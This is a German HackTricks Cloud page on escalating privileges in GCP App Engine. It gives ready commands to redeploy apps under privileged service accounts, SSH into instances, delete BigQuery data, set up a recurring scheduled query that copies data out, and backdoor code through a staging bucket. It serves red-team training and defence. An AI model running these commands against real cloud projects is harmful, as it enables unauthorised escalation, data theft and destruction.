GCP - AppEngine Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
App Engine
Für weitere Informationen über App Engine siehe:
appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list
Das sind die benötigten Berechtigungen, um eine App mit dem gcloud cli zu deployen. Möglicherweise könnten die get- und list-Rechte entfallen.
You can find python code examples in https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine
Standardmäßig heißt der App-Service default, und es kann nur 1 Instanz mit demselben Namen geben.
Um ihn zu ändern und eine zweite App zu erstellen, ändere in app.yaml den Wert des Root-Keys in etwas wie service: my-second-app
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
Gib ihm mindestens 10–15 Minuten Zeit; wenn es nicht funktioniert, nochmals deployen und ein paar Minuten warten.
Note
Es ist möglich, den zu verwendenden Service Account anzugeben, aber standardmäßig wird das App Engine default SA verwendet.
Die URL der Anwendung sieht etwa so aus: https://<proj-name>.oa.r.appspot.com/ oder https://<service_name>-dot-<proj-name>.oa.r.appspot.com
Äquivalente Update-Berechtigungen
Möglicherweise hast du genügend Berechtigungen, um eine App Engine zu aktualisieren, aber nicht, um eine neue zu erstellen. In diesem Fall kannst du die aktuelle App Engine wie folgt aktualisieren:
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
Wenn du bereits eine AppEngine kompromittiert hast und die Berechtigung appengine.applications.update sowie actAs für das zu verwendende Service-Konto besitzt, könntest du das von AppEngine verwendete Service-Konto mit folgendem ändern:
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get
Mit diesen Berechtigungen ist es möglich, sich per ssh in App Engine-Instanzen vom Typ flexible (nicht standard) einzuloggen. Einige der list- und get-Berechtigungen sind möglicherweise gar nicht erforderlich.
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
appengine.applications.update, appengine.operations.get
Ich denke, das ändert nur das Hintergrund-SA, das google zum Einrichten der Anwendungen verwendet, daher denke ich nicht, dass man das missbrauchen kann, um den service account zu stehlen.
gcloud app update --service-account=<sa_email>
appengine.versions.getFileContents, appengine.versions.update
Ich bin mir nicht sicher, wie man diese Berechtigungen verwendet oder ob sie nützlich sind (beachte, dass beim Ändern des Codes eine neue Version erstellt wird, also weiß ich nicht, ob man einfach den Code oder die IAM role einer bestehenden Version aktualisieren kann, aber ich denke, das sollte möglich sein, vielleicht indem man den Code im bucket ändert??).
bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)
Um Tabellen, Datasets oder Modelle zu entfernen:
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
Missbrauch von Scheduled Queries
Mit den Berechtigungen bigquery.datasets.get, bigquery.jobs.create und iam.serviceAccounts.actAs kann eine Identität Dataset-Metadaten abfragen, BigQuery-Jobs starten und diese mit einem Service Account mit höheren Rechten ausführen.
Dieser Angriff ermöglicht den böswilligen Einsatz von Scheduled Queries, um Abfragen zu automatisieren (die unter dem gewählten Service Account ausgeführt werden), was beispielsweise dazu führen kann, dass sensitive Daten gelesen und in eine andere Tabelle oder ein anderes Dataset geschrieben werden, auf das der Angreifer Zugriff hat — und so eine indirekte und kontinuierliche exfiltration ermöglicht, ohne die Daten extern extrahieren zu müssen.
Sobald der Angreifer weiß, welcher Service Account die notwendigen Berechtigungen hat, die gewünschte Abfrage auszuführen, kann er eine Scheduled Query-Konfiguration erstellen, die unter diesem Service Account läuft und die Ergebnisse periodisch in ein vom Angreifer gewähltes Dataset schreibt.
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
Schreibzugriff auf die buckets
Wie erwähnt erzeugen die AppEngine-Versionen einige Daten in einem bucket mit dem Namensformat: staging.<project-id>.appspot.com. Beachte, dass es nicht möglich ist, diesen bucket vorab zu übernehmen (pre-takeover), da GCP-Benutzer nicht berechtigt sind, Buckets mit der Domain appspot.com zu erstellen.
Mit Lese- und Schreibzugriff auf diesen bucket ist es jedoch möglich, Privilegien zur SA, die an die AppEngine-Version angehängt ist, zu eskalieren, indem man den bucket überwacht und bei jeder Änderung so schnell wie möglich den Code modifiziert. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, execute the backdoored code.
Für mehr Informationen und einen PoC siehe die relevanten Informationen auf dieser Seite:
Schreibzugriff auf das Artifact Registry
Obwohl App Engine docker images im Artifact Registry erstellt. Es wurde getestet, dass selbst wenn du das Image innerhalb dieses Service änderst und die App Engine-Instanz entfernst (sodass eine neue bereitgestellt wird), sich der ausgeführte Code nicht ändert.
Möglicherweise ist es durch eine Race Condition attack, wie bei den buckets, möglich, den ausgeführten Code zu überschreiben, dies wurde jedoch nicht getestet.
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

